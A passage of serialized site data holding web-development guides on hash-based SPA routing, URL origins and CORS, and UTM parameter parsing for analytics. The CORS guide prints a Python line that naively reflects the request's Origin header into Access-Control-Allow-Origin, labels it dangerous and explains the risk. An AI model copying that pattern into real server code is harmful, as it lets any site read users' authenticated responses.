event.newURL);\n",[1560,215872,215873],{"class":1562,"line":365},[1560,215874,11809],{"class":1570},[16,215876,215877,215878,215880],{},"This event is the foundation of hash-based routing: your JavaScript listens for ",[143,215879,215815],{}," and re-renders the appropriate view.",[11,215882,215884],{"id":215883},"hash-based-routing-in-spas","Hash-Based Routing in SPAs",[16,215886,215887],{},"Before the History API, every SPA used hash fragments for routing. The pattern looks like this:",[135,215889,215892],{"className":215890,"code":215891,"language":140},[138],"https:\u002F\u002Fexample.com\u002F#\u002Fdashboard\nhttps:\u002F\u002Fexample.com\u002F#\u002Fusers\u002F42\nhttps:\u002F\u002Fexample.com\u002F#\u002Fsettings?tab=security\n",[143,215893,215891],{"__ignoreMap":141},[16,215895,421,215896,215899],{},[143,215897,215898],{},"#\u002F"," prefix signals that the fragment contains a route path rather than an anchor ID. Here is a minimal router:",[135,215901,215903],{"className":1607,"code":215902,"language":1609,"meta":141,"style":141},"const routes = {\n  '\u002Fdashboard': renderDashboard,\n  '\u002Fusers\u002F:id': renderUserProfile,\n  '\u002Fsettings': renderSettings,\n};\n\nfunction navigate() {\n  const path = location.hash.slice(1); \u002F\u002F Remove #\n  const handler = matchRoute(routes, path);\n  if (handler) handler();\n}\n\nwindow.addEventListener('hashchange', navigate);\nnavigate(); \u002F\u002F Initial render\n",[143,215904,215905,215915,215923,215931,215939,215943,215947,215956,215978,215993,216005,216009,216013,216026],{"__ignoreMap":141},[1560,215906,215907,215909,215911,215913],{"class":1562,"line":1563},[1560,215908,8180],{"class":1669},[1560,215910,133457],{"class":1576},[1560,215912,8186],{"class":1669},[1560,215914,1571],{"class":1570},[1560,215916,215917,215920],{"class":1562,"line":337},[1560,215918,215919],{"class":5634},"  '\u002Fdashboard'",[1560,215921,215922],{"class":1570},": renderDashboard,\n",[1560,215924,215925,215928],{"class":1562,"line":343},[1560,215926,215927],{"class":5634},"  '\u002Fusers\u002F:id'",[1560,215929,215930],{"class":1570},": renderUserProfile,\n",[1560,215932,215933,215936],{"class":1562,"line":365},[1560,215934,215935],{"class":5634},"  '\u002Fsettings'",[1560,215937,215938],{"class":1570},": renderSettings,\n",[1560,215940,215941],{"class":1562,"line":889},[1560,215942,6607],{"class":1570},[1560,215944,215945],{"class":1562,"line":1710},[1560,215946,1702],{"emptyLinePlaceholder":363},[1560,215948,215949,215951,215954],{"class":1562,"line":1717},[1560,215950,8648],{"class":1669},[1560,215952,215953],{"class":1566}," navigate",[1560,215955,8654],{"class":1570},[1560,215957,215958,215960,215962,215964,215967,215969,215971,215973,215975],{"class":1562,"line":1747},[1560,215959,28057],{"class":1669},[1560,215961,130931],{"class":1576},[1560,215963,8186],{"class":1669},[1560,215965,215966],{"class":1570}," location.hash.",[1560,215968,38951],{"class":1566},[1560,215970,1688],{"class":1570},[1560,215972,3585],{"class":1576},[1560,215974,5171],{"class":1570},[1560,215976,215977],{"class":1649},"\u002F\u002F Remove #\n",[1560,215979,215980,215982,215985,215987,215990],{"class":1562,"line":2507},[1560,215981,28057],{"class":1669},[1560,215983,215984],{"class":1576}," handler",[1560,215986,8186],{"class":1669},[1560,215988,215989],{"class":1566}," matchRoute",[1560,215991,215992],{"class":1570},"(routes, path);\n",[1560,215994,215995,215997,216000,216003],{"class":1562,"line":2524},[1560,215996,27984],{"class":1669},[1560,215998,215999],{"class":1570}," (handler) ",[1560,216001,216002],{"class":1566},"handler",[1560,216004,90158],{"class":1570},[1560,216006,216007],{"class":1562,"line":2529},[1560,216008,1585],{"class":1570},[1560,216010,216011],{"class":1562,"line":2534},[1560,216012,1702],{"emptyLinePlaceholder":363},[1560,216014,216015,216017,216019,216021,216023],{"class":1562,"line":2542},[1560,216016,11763],{"class":1570},[1560,216018,11766],{"class":1566},[1560,216020,1688],{"class":1570},[1560,216022,215832],{"class":5634},[1560,216024,216025],{"class":1570},", navigate);\n",[1560,216027,216028,216031,216033],{"class":1562,"line":2558},[1560,216029,216030],{"class":1566},"navigate",[1560,216032,34220],{"class":1570},[1560,216034,216035],{"class":1649},"\u002F\u002F Initial render\n",[33,216037,216039],{"id":216038},"advantages-of-hash-routing","Advantages of Hash Routing",[193,216041,216042,216051],{},[196,216043,216044],{},[199,216045,216046,216049],{},[202,216047,216048],{},"Advantage",[202,216050,21086],{},[211,216052,216053,216061,216069,216079],{},[199,216054,216055,216058],{},[216,216056,216057],{},"No server configuration",[216,216059,216060],{},"The server only sees the base URL — no need for catch-all rewrites",[199,216062,216063,216066],{},[216,216064,216065],{},"Works on static hosting",[216,216067,216068],{},"Fragment routes never generate 404s because the server always serves the same HTML",[199,216070,216071,216074],{},[216,216072,216073],{},"Broad browser support",[216,216075,216076,216078],{},[143,216077,215815],{}," works in every browser including IE8",[199,216080,216081,216084],{},[216,216082,216083],{},"Preserves back\u002Fforward",[216,216085,216086],{},"Browser history tracks fragment changes automatically",[33,216088,216090],{"id":216089},"disadvantages-of-hash-routing","Disadvantages of Hash Routing",[193,216092,216093,216102],{},[196,216094,216095],{},[199,216096,216097,216100],{},[202,216098,216099],{},"Disadvantage",[202,216101,21086],{},[211,216103,216104,216118,216126,216134],{},[199,216105,216106,216109],{},[216,216107,216108],{},"Ugly URLs",[216,216110,216111,216114,216115],{},[143,216112,216113],{},"\u002F#\u002Fusers\u002F42"," is less clean than ",[143,216116,216117],{},"\u002Fusers\u002F42",[199,216119,216120,216123],{},[216,216121,216122],{},"Fragments are not sent to server",[216,216124,216125],{},"Server-side analytics and logging lose route information",[199,216127,216128,216131],{},[216,216129,216130],{},"SEO limitations",[216,216132,216133],{},"Search engines historically ignored fragments (now partially indexed but still suboptimal)",[199,216135,216136,216139],{},[216,216137,216138],{},"Anchor conflict",[216,216140,216141,216142,216145,216146,216149],{},"You cannot distinguish between ",[143,216143,216144],{},"#section-id"," (anchor) and ",[143,216147,216148],{},"#\u002Froute"," (page) without a convention",[11,216151,216153],{"id":216152},"history-based-routing-the-modern-alternative","History-Based Routing (The Modern Alternative)",[16,216155,216156,216157,1459,216160,1459,216163,216166],{},"The History API (",[143,216158,216159],{},"pushState",[143,216161,216162],{},"replaceState",[143,216164,216165],{},"popstate",") enables routing without hash fragments:",[135,216168,216170],{"className":1607,"code":216169,"language":1609,"meta":141,"style":141},"history.pushState(null, '', '\u002Fusers\u002F42');\nwindow.addEventListener('popstate', () => {\n  renderRoute(location.pathname);\n});\n",[143,216171,216172,216194,216211,216219],{"__ignoreMap":141},[1560,216173,216174,216177,216179,216181,216183,216185,216187,216189,216192],{"class":1562,"line":1563},[1560,216175,216176],{"class":1570},"history.",[1560,216178,216159],{"class":1566},[1560,216180,1688],{"class":1570},[1560,216182,80702],{"class":1576},[1560,216184,1459],{"class":1570},[1560,216186,5635],{"class":5634},[1560,216188,1459],{"class":1570},[1560,216190,216191],{"class":5634},"'\u002Fusers\u002F42'",[1560,216193,1744],{"class":1570},[1560,216195,216196,216198,216200,216202,216205,216207,216209],{"class":1562,"line":337},[1560,216197,11763],{"class":1570},[1560,216199,11766],{"class":1566},[1560,216201,1688],{"class":1570},[1560,216203,216204],{"class":5634},"'popstate'",[1560,216206,11774],{"class":1570},[1560,216208,11503],{"class":1669},[1560,216210,1571],{"class":1570},[1560,216212,216213,216216],{"class":1562,"line":343},[1560,216214,216215],{"class":1566},"  renderRoute",[1560,216217,216218],{"class":1570},"(location.pathname);\n",[1560,216220,216221],{"class":1562,"line":365},[1560,216222,11809],{"class":1570},[16,216224,216225,216226,216228,216229,216231],{},"History routing produces clean URLs (",[143,216227,216117],{},"), but it requires server-side configuration to return the SPA's HTML for all routes — otherwise a direct visit to ",[143,216230,216117],{}," returns a 404.",[193,216233,216234,216246],{},[196,216235,216236],{},[199,216237,216238,216240,216243],{},[202,216239,5867],{},[202,216241,216242],{},"Hash Routing",[202,216244,216245],{},"History Routing",[211,216247,216248,216258,216275,216284,216295],{},[199,216249,216250,216253,216255],{},[216,216251,216252],{},"Server config needed",[216,216254,6117],{},[216,216256,216257],{},"Yes (catch-all)",[199,216259,216260,216263,216269],{},[216,216261,216262],{},"Clean URLs",[216,216264,216265,216266,1525],{},"No (",[143,216267,216268],{},"\u002F#\u002F...",[216,216270,216271,216272,1525],{},"Yes (",[143,216273,216274],{},"\u002F...",[199,216276,216277,216280,216282],{},[216,216278,216279],{},"SEO-friendly",[216,216281,84702],{},[216,216283,55046],{},[199,216285,216286,216289,216292],{},[216,216287,216288],{},"Fragment tracking",[216,216290,216291],{},"Not sent to server",[216,216293,216294],{},"Full path visible to server",[199,216296,216297,216299,216302],{},[216,216298,76007],{},[216,216300,216301],{},"IE8+",[216,216303,216304],{},"IE10+",[11,216306,216308],{"id":216307},"when-to-use-hash-routing","When to Use Hash Routing",[16,216310,216311],{},"Hash routing remains the right choice in several scenarios:",[41,216313,216314,216320,216326,216332],{},[44,216315,216316,216319],{},[47,216317,216318],{},"Static hosting without rewrites"," — GitHub Pages, Netlify static drops, or S3 buckets where you cannot configure fallback routing",[44,216321,216322,216325],{},[47,216323,216324],{},"Embedded widgets"," — iframes or micro-frontends where you cannot control the host page's server",[44,216327,216328,216331],{},[47,216329,216330],{},"Email and SMS deep links"," — links where the server must always return a valid page, and the fragment determines client-side state",[44,216333,216334,216337],{},[47,216335,216336],{},"Progressive enhancement"," — applications that must work even if JavaScript fails to load (the server-rendered page always loads; the fragment adds SPA navigation)",[11,216339,216341],{"id":216340},"combining-fragment-routing-with-anchor-links","Combining Fragment Routing with Anchor Links",[16,216343,216344,216345,216347],{},"If your app uses hash routing (",[143,216346,216148],{},") but also needs traditional anchor links, you need a convention to disambiguate. A common pattern:",[135,216349,216352],{"className":216350,"code":216351,"language":140},[138],"#\u002Fdocs\u002Finstallation#prerequisites\n",[143,216353,216351],{"__ignoreMap":141},[16,216355,216356,216357,216359],{},"Some routers (like Vue Router's hash mode) support this by splitting the fragment at the second ",[143,216358,6852],{},". Others require you to use query parameters for anchors:",[135,216361,216364],{"className":216362,"code":216363,"language":140},[138],"#\u002Fdocs\u002Finstallation?anchor=prerequisites\n",[143,216365,216363],{"__ignoreMap":141},[11,216367,1355],{"id":1354},[41,216369,216370,216373,216378,216381,216384],{},[44,216371,216372],{},"Hash fragments are never sent to the server, making them ideal for purely client-side routing.",[44,216374,216375,216377],{},[143,216376,215815],{}," events power hash-based routers without requiring server configuration.",[44,216379,216380],{},"History-based routing produces cleaner, more SEO-friendly URLs but requires server-side catch-all configuration.",[44,216382,216383],{},"Use hash routing for static hosting, embedded widgets, and scenarios where server configuration is out of your control.",[44,216385,216386],{},"When mixing hash routing with anchor links, adopt a consistent convention to distinguish routes from scroll targets.",[11,216388,286],{"id":285},[16,216390,216391,216392,216394],{},"Building or debugging a routed application? The ",[98,216393,99078],{"href":99077}," breaks any URL into its components — scheme, host, path, query parameters, and fragment — so you can verify that your routes are structured correctly.",[2043,216396,216397],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":216399},[216400,216403,216407,216408,216409,216410,216411],{"id":215765,"depth":337,"text":215766,"children":216401},[216402],{"id":215808,"depth":343,"text":215809},{"id":215883,"depth":337,"text":215884,"children":216404},[216405,216406],{"id":216038,"depth":343,"text":216039},{"id":216089,"depth":343,"text":216090},{"id":216152,"depth":337,"text":216153},{"id":216307,"depth":337,"text":216308},{"id":216340,"depth":337,"text":216341},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"How single-page apps use hash fragments for client-side routing and anchor navigation.",{"immutable":363},"\u002Fguides\u002Furl-fragment-routing",{"title":215754,"description":216412},"guides\u002Furl-fragment-routing","zho76ot57rvlxyo_mZH24tdb4-Z-n-IJc2b2XI_8UxM",{"id":216419,"title":216420,"body":216421,"date":2070,"description":216888,"extension":361,"meta":216889,"navigation":363,"path":216890,"readingTime":1710,"seo":216891,"stem":216892,"__hash__":216893},"guides\u002Fguides\u002Furl-origin-cors-security.md","URL Origin and CORS Security",{"type":8,"value":216422,"toc":216870},[216423,216426,216430,216441,216447,216450,216550,216560,216564,216567,216574,216589,216599,216603,216610,216659,216662,216666,216669,216673,216679,216685,216688,216694,216704,216708,216715,216721,216724,216730,216733,216737,216741,216747,216753,216757,216763,216778,216781,216785,216791,216795,216804,216832,216834,216860,216862,216868],[16,216424,216425],{},"Cross-Origin Resource Sharing (CORS) is the browser security mechanism that governs whether a web page can make requests to a different origin. Understanding how browsers determine \"same-origin\" — and how CORS policies allow or block cross-origin requests — is essential for any developer building APIs, SPAs, or microservice architectures.",[11,216427,216429],{"id":216428},"what-is-an-origin","What Is an Origin",[16,216431,216432,216433,1459,216436,1466,216439,468],{},"An origin is defined by three URL components: ",[47,216434,216435],{},"scheme",[47,216437,216438],{},"host",[47,216440,154809],{},[135,216442,216445],{"className":216443,"code":216444,"language":140},[138],"https:\u002F\u002Fapi.example.com:443\u002Fdata\n  ↑        ↑              ↑\nscheme    host           port\n",[143,216446,216444],{"__ignoreMap":141},[16,216448,216449],{},"Two URLs share the same origin if and only if all three components match exactly.",[193,216451,216452,216467],{},[196,216453,216454],{},[199,216455,216456,216459,216462,216465],{},[202,216457,216458],{},"URL A",[202,216460,216461],{},"URL B",[202,216463,216464],{},"Same Origin?",[202,216466,23393],{},[211,216468,216469,216486,216502,216518,216534],{},[199,216470,216471,216476,216481,216483],{},[216,216472,216473],{},[143,216474,216475],{},"https:\u002F\u002Fexample.com\u002Fa",[216,216477,216478],{},[143,216479,216480],{},"https:\u002F\u002Fexample.com\u002Fb",[216,216482,3057],{},[216,216484,216485],{},"Same scheme, host, port",[199,216487,216488,216492,216497,216499],{},[216,216489,216490],{},[143,216491,110044],{},[216,216493,216494],{},[143,216495,216496],{},"http:\u002F\u002Fexample.com",[216,216498,6117],{},[216,216500,216501],{},"Different scheme",[199,216503,216504,216508,216513,216515],{},[216,216505,216506],{},[143,216507,110044],{},[216,216509,216510],{},[143,216511,216512],{},"https:\u002F\u002Fapi.example.com",[216,216514,6117],{},[216,216516,216517],{},"Different host",[199,216519,216520,216524,216529,216531],{},[216,216521,216522],{},[143,216523,110044],{},[216,216525,216526],{},[143,216527,216528],{},"https:\u002F\u002Fexample.com:8080",[216,216530,6117],{},[216,216532,216533],{},"Different port",[199,216535,216536,216540,216545,216547],{},[216,216537,216538],{},[143,216539,110044],{},[216,216541,216542],{},[143,216543,216544],{},"https:\u002F\u002Fexample.com:443",[216,216546,3057],{},[216,216548,216549],{},"443 is default for HTTPS",[16,216551,216552,216553,1856,216556,216559],{},"The path, query string, and fragment do not affect origin. ",[143,216554,216555],{},"\u002Fa",[143,216557,216558],{},"\u002Fb"," on the same origin are same-origin by definition.",[11,216561,216563],{"id":216562},"the-same-origin-policy","The Same-Origin Policy",[16,216565,216566],{},"The same-origin policy (SOP) is the default rule: a script running on one origin cannot read responses from a different origin. This prevents malicious sites from stealing data from authenticated sessions on other sites.",[16,216568,216569,216570,216573],{},"Without SOP, if you visited ",[143,216571,216572],{},"evil.com",", its JavaScript could:",[77,216575,216576,216583,216586],{},[44,216577,216578,216579,216582],{},"Make a fetch to ",[143,216580,216581],{},"bank.com\u002Fapi\u002Fbalance"," (your browser includes your bank cookies)",[44,216584,216585],{},"Read the response",[44,216587,216588],{},"Exfiltrate your balance to the attacker",[16,216590,216591,216592,216594,216595,216598],{},"SOP blocks step 2 — the script on ",[143,216593,216572],{}," cannot read the response from ",[143,216596,216597],{},"bank.com"," because the origins differ.",[33,216600,216602],{"id":216601},"what-sop-allows","What SOP Allows",[16,216604,216605,216606,216609],{},"SOP does not block all cross-origin traffic. It specifically blocks ",[47,216607,216608],{},"reading"," cross-origin responses. The following are still allowed:",[41,216611,216612,216621,216627,216642],{},[44,216613,216614,216617,216618],{},[47,216615,216616],{},"Cross-origin navigations",": clicking a link or setting ",[143,216619,216620],{},"window.location",[44,216622,216623,216626],{},[47,216624,216625],{},"Cross-origin form submissions",": posting form data to another origin",[44,216628,216629,1663,216632,1459,216634,1459,216636,1459,216638,216641],{},[47,216630,216631],{},"Embedded resources",[143,216633,10900],{},[143,216635,34727],{},[143,216637,41033],{},[143,216639,216640],{},"\u003Cvideo>"," tags loading cross-origin content",[44,216643,216644,1663,216647,1856,216649,216652,216653,1531,216655,216658],{},[47,216645,216646],{},"Cross-origin writes",[143,216648,173156],{},[143,216650,216651],{},"PUT"," requests via ",[143,216654,133696],{},[143,216656,216657],{},"XMLHttpRequest"," (the request is sent, but the response cannot be read)",[16,216660,216661],{},"This distinction is crucial: SOP prevents data theft, not data sending. CSRF attacks exploit the \"writes allowed\" gap.",[11,216663,216665],{"id":216664},"how-cors-works","How CORS Works",[16,216667,216668],{},"CORS is a relaxation of SOP — a way for servers to explicitly allow specific origins to read responses. It uses HTTP headers to negotiate access.",[33,216670,216672],{"id":216671},"simple-requests","Simple Requests",[16,216674,216675,216676,117021],{},"A \"simple\" request (GET, HEAD, or POST with limited headers) is sent directly. The browser adds an ",[143,216677,216678],{},"Origin",[135,216680,216683],{"className":216681,"code":216682,"language":140},[138],"GET \u002Fapi\u002Fdata HTTP\u002F1.1\nHost: api.example.com\nOrigin: https:\u002F\u002Ffrontend.example.com\n",[143,216684,216682],{"__ignoreMap":141},[16,216686,216687],{},"The server responds with CORS headers:",[135,216689,216692],{"className":216690,"code":216691,"language":140},[138],"HTTP\u002F1.1 200 OK\nAccess-Control-Allow-Origin: https:\u002F\u002Ffrontend.example.com\nAccess-Control-Allow-Credentials: true\nContent-Type: application\u002Fjson\n",[143,216693,216691],{"__ignoreMap":141},[16,216695,216696,216697,216700,216701,216703],{},"If ",[143,216698,216699],{},"Access-Control-Allow-Origin"," matches the requesting origin (or is ",[143,216702,8069],{},"), the browser allows the script to read the response. If the header is missing or does not match, the browser blocks the response.",[33,216705,216707],{"id":216706},"preflight-requests","Preflight Requests",[16,216709,216710,216711,216714],{},"For non-simple requests (custom headers, PUT\u002FDELETE methods, JSON content type), the browser sends a preflight ",[143,216712,216713],{},"OPTIONS"," request first:",[135,216716,216719],{"className":216717,"code":216718,"language":140},[138],"OPTIONS \u002Fapi\u002Fdata HTTP\u002F1.1\nHost: api.example.com\nOrigin: https:\u002F\u002Ffrontend.example.com\nAccess-Control-Request-Method: PUT\nAccess-Control-Request-Headers: Content-Type, X-Auth-Token\n",[143,216720,216718],{"__ignoreMap":141},[16,216722,216723],{},"The server responds with allowed methods and headers:",[135,216725,216728],{"className":216726,"code":216727,"language":140},[138],"HTTP\u002F1.1 204 No Content\nAccess-Control-Allow-Origin: https:\u002F\u002Ffrontend.example.com\nAccess-Control-Allow-Methods: GET, PUT, DELETE\nAccess-Control-Allow-Headers: Content-Type, X-Auth-Token\nAccess-Control-Max-Age: 86400\n",[143,216729,216727],{"__ignoreMap":141},[16,216731,216732],{},"Only after the preflight succeeds does the browser send the actual request.",[11,216734,216736],{"id":216735},"common-cors-mistakes","Common CORS Mistakes",[33,216738,216740],{"id":216739},"wildcard-with-credentials","Wildcard with Credentials",[135,216742,216745],{"className":216743,"code":216744,"language":140},[138],"Access-Control-Allow-Origin: *\nAccess-Control-Allow-Credentials: true\n",[143,216746,216744],{"__ignoreMap":141},[16,216748,216749,216750,216752],{},"This combination is invalid. Browsers reject it because ",[143,216751,8069],{}," with credentials would allow any site to make authenticated requests. If you need credentials, you must specify the exact origin.",[33,216754,216756],{"id":216755},"reflecting-the-origin-header-naively","Reflecting the Origin Header Naively",[16,216758,216759,216760,216762],{},"Some servers echo back whatever ",[143,216761,216678],{}," header they receive:",[135,216764,216766],{"className":8259,"code":216765,"language":8261,"meta":141,"style":141},"# Dangerous!\nresponse.headers['Access-Control-Allow-Origin'] = request.headers.get('Origin')\n",[143,216767,216768,216773],{"__ignoreMap":141},[1560,216769,216770],{"class":1562,"line":1563},[1560,216771,216772],{},"# Dangerous!\n",[1560,216774,216775],{"class":1562,"line":337},[1560,216776,216777],{},"response.headers['Access-Control-Allow-Origin'] = request.headers.get('Origin')\n",[16,216779,216780],{},"This effectively disables SOP — any origin can read responses. Always validate the origin against an allowlist before reflecting it.",[33,216782,216784],{"id":216783},"missing-preflight-handling","Missing Preflight Handling",[16,216786,216787,216788,216790],{},"If your API does not respond to ",[143,216789,216713],{}," requests, preflight checks fail, and browsers block the actual request. Ensure your server or API gateway handles OPTIONS for all CORS-enabled routes.",[33,216792,216794],{"id":216793},"split-stack-anti-pattern","Split Stack Anti-Pattern",[16,216796,216797,216798,1856,216801,216803],{},"When the frontend and API run on different origins (e.g., ",[143,216799,216800],{},"app.example.com",[143,216802,138199],{},"), every API call is cross-origin. This is the most common source of CORS issues. Solutions:",[41,216805,216806,216812,216822],{},[44,216807,216808,216811],{},[47,216809,216810],{},"Same-origin proxy",": serve the API behind the same origin using a reverse proxy (Nginx, Cloudflare Workers)",[44,216813,216814,216817,216818,216821],{},[47,216815,216816],{},"Subdomain CORS",": allow ",[143,216819,216820],{},"https:\u002F\u002Fapp.example.com"," explicitly on the API server",[44,216823,216824,216827,216828,216831],{},[47,216825,216826],{},"Cookie domain",": set cookies on ",[143,216829,216830],{},".example.com"," to share auth across subdomains",[11,216833,1355],{"id":1354},[41,216835,216836,216839,216842,216845,216854],{},[44,216837,216838],{},"Origin is defined by scheme + host + port — path and query do not matter.",[44,216840,216841],{},"The same-origin policy blocks reading cross-origin responses, not sending cross-origin requests.",[44,216843,216844],{},"CORS headers let servers opt in to cross-origin reads; without them, browsers block responses.",[44,216846,216847,216848,12674,216851,468],{},"Never combine ",[143,216849,216850],{},"Access-Control-Allow-Origin: *",[143,216852,216853],{},"Access-Control-Allow-Credentials: true",[44,216855,216856,216857,216859],{},"Always validate the ",[143,216858,216678],{}," header against an allowlist — never blindly reflect it.",[11,216861,286],{"id":285},[16,216863,216864,216865,216867],{},"Inspecting URL components to debug a CORS issue? The ",[98,216866,99078],{"href":99077}," dissects any URL into scheme, host, port, path, and query — so you can quickly identify origin mismatches.",[2043,216869,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":216871},[216872,216873,216876,216880,216886,216887],{"id":216428,"depth":337,"text":216429},{"id":216562,"depth":337,"text":216563,"children":216874},[216875],{"id":216601,"depth":343,"text":216602},{"id":216664,"depth":337,"text":216665,"children":216877},[216878,216879],{"id":216671,"depth":343,"text":216672},{"id":216706,"depth":343,"text":216707},{"id":216735,"depth":337,"text":216736,"children":216881},[216882,216883,216884,216885],{"id":216739,"depth":343,"text":216740},{"id":216755,"depth":343,"text":216756},{"id":216783,"depth":343,"text":216784},{"id":216793,"depth":343,"text":216794},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"How browsers determine same-origin from URL components and enforce CORS policies.",{"immutable":363},"\u002Fguides\u002Furl-origin-cors-security",{"title":216420,"description":216888},"guides\u002Furl-origin-cors-security","K4BAd1HPrZp0i0d1_6HAscliGi2S8p6_E0tXYWlgsc0",{"id":216895,"title":216896,"body":216897,"date":2070,"description":217777,"extension":361,"meta":217778,"navigation":363,"path":217779,"readingTime":1710,"seo":217780,"stem":217781,"__hash__":217782},"guides\u002Fguides\u002Furl-parsing-analytics-tracking.md","URL Parsing for Analytics and Tracking: What You Need to Know",{"type":8,"value":216898,"toc":217751},[216899,216903,216906,216909,216913,216916,217019,217022,217028,217032,217161,217165,217200,217204,217210,217232,217236,217287,217290,217294,217297,217361,217365,217423,217426,217430,217434,217443,217588,217590,217599,217602,217609,217613,217617,217620,217635,217650,217654,217661,217693,217697,217700,217702,217724,217726,217740,217742,217748],[11,216900,216902],{"id":216901},"how-urls-drive-analytics","How URLs Drive Analytics",[16,216904,216905],{},"Every web analytics platform relies on URL parsing to answer fundamental questions: Where did this visitor come from? Which campaign brought them? What content are they viewing? URLs carry this information in query parameters, path segments, and referrer headers.",[16,216907,216908],{},"Understanding how URL parsing works in analytics helps you instrument your tracking correctly and avoid common data quality problems.",[11,216910,216912],{"id":216911},"utm-parameters-campaign-tracking-standard","UTM Parameters: Campaign Tracking Standard",[16,216914,216915],{},"UTM parameters are the industry standard for tracking marketing campaigns. They are query parameters appended to URLs that analytics tools read to attribute traffic:",[193,216917,216918,216928],{},[196,216919,216920],{},[199,216921,216922,216924,216926],{},[202,216923,172822],{},[202,216925,2758],{},[202,216927,133],{},[211,216929,216930,216951,216971,216986,217001],{},[199,216931,216932,216937,216940],{},[216,216933,216934],{},[143,216935,216936],{},"utm_source",[216,216938,216939],{},"Traffic origin",[216,216941,216942,1459,216945,1459,216948],{},[143,216943,216944],{},"google",[143,216946,216947],{},"newsletter",[143,216949,216950],{},"twitter",[199,216952,216953,216958,216961],{},[216,216954,216955],{},[143,216956,216957],{},"utm_medium",[216,216959,216960],{},"Marketing medium",[216,216962,216963,1459,216966,1459,216968],{},[143,216964,216965],{},"cpc",[143,216967,97853],{},[143,216969,216970],{},"social",[199,216972,216973,216978,216981],{},[216,216974,216975],{},[143,216976,216977],{},"utm_campaign",[216,216979,216980],{},"Campaign name",[216,216982,216983],{},[143,216984,216985],{},"spring_sale_2026",[199,216987,216988,216993,216996],{},[216,216989,216990],{},[143,216991,216992],{},"utm_term",[216,216994,216995],{},"Paid search keywords",[216,216997,216998],{},[143,216999,217000],{},"running+shoes",[199,217002,217003,217008,217011],{},[216,217004,217005],{},[143,217006,217007],{},"utm_content",[216,217009,217010],{},"Creative variant",[216,217012,217013,1459,217016],{},[143,217014,217015],{},"hero_banner",[143,217017,217018],{},"sidebar_link",[16,217020,217021],{},"Example tagged URL:",[135,217023,217026],{"className":217024,"code":217025,"language":140},[138],"https:\u002F\u002Fexample.com\u002Fproduct?utm_source=newsletter&utm_medium=email&utm_campaign=spring_sale&utm_content=hero_banner\n",[143,217027,217025],{"__ignoreMap":141},[33,217029,217031],{"id":217030},"parsing-utm-parameters","Parsing UTM parameters",[135,217033,217035],{"className":1607,"code":217034,"language":1609,"meta":141,"style":141},"function extractUTM(urlString) {\n  const url = new URL(urlString)\n  const params = url.searchParams\n  return {\n    source: params.get('utm_source'),\n    medium: params.get('utm_medium'),\n    campaign: params.get('utm_campaign'),\n    term: params.get('utm_term'),\n    content: params.get('utm_content'),\n  }\n}\n",[143,217036,217037,217051,217066,217077,217083,217097,217111,217125,217139,217153,217157],{"__ignoreMap":141},[1560,217038,217039,217041,217044,217046,217049],{"class":1562,"line":1563},[1560,217040,8648],{"class":1669},[1560,217042,217043],{"class":1566}," extractUTM",[1560,217045,1688],{"class":1570},[1560,217047,217048],{"class":2219},"urlString",[1560,217050,9345],{"class":1570},[1560,217052,217053,217055,217057,217059,217061,217063],{"class":1562,"line":337},[1560,217054,28057],{"class":1669},[1560,217056,33819],{"class":1576},[1560,217058,8186],{"class":1669},[1560,217060,11489],{"class":1669},[1560,217062,100924],{"class":1566},[1560,217064,217065],{"class":1570},"(urlString)\n",[1560,217067,217068,217070,217072,217074],{"class":1562,"line":343},[1560,217069,28057],{"class":1669},[1560,217071,34336],{"class":1576},[1560,217073,8186],{"class":1669},[1560,217075,217076],{"class":1570}," url.searchParams\n",[1560,217078,217079,217081],{"class":1562,"line":365},[1560,217080,9350],{"class":1669},[1560,217082,1571],{"class":1570},[1560,217084,217085,217088,217090,217092,217095],{"class":1562,"line":889},[1560,217086,217087],{"class":1570},"    source: params.",[1560,217089,82334],{"class":1566},[1560,217091,1688],{"class":1570},[1560,217093,217094],{"class":5634},"'utm_source'",[1560,217096,19216],{"class":1570},[1560,217098,217099,217102,217104,217106,217109],{"class":1562,"line":1710},[1560,217100,217101],{"class":1570},"    medium: params.",[1560,217103,82334],{"class":1566},[1560,217105,1688],{"class":1570},[1560,217107,217108],{"class":5634},"'utm_medium'",[1560,217110,19216],{"class":1570},[1560,217112,217113,217116,217118,217120,217123],{"class":1562,"line":1717},[1560,217114,217115],{"class":1570},"    campaign: params.",[1560,217117,82334],{"class":1566},[1560,217119,1688],{"class":1570},[1560,217121,217122],{"class":5634},"'utm_campaign'",[1560,217124,19216],{"class":1570},[1560,217126,217127,217130,217132,217134,217137],{"class":1562,"line":1747},[1560,217128,217129],{"class":1570},"    term: params.",[1560,217131,82334],{"class":1566},[1560,217133,1688],{"class":1570},[1560,217135,217136],{"class":5634},"'utm_term'",[1560,217138,19216],{"class":1570},[1560,217140,217141,217144,217146,217148,217151],{"class":1562,"line":2507},[1560,217142,217143],{"class":1570},"    content: 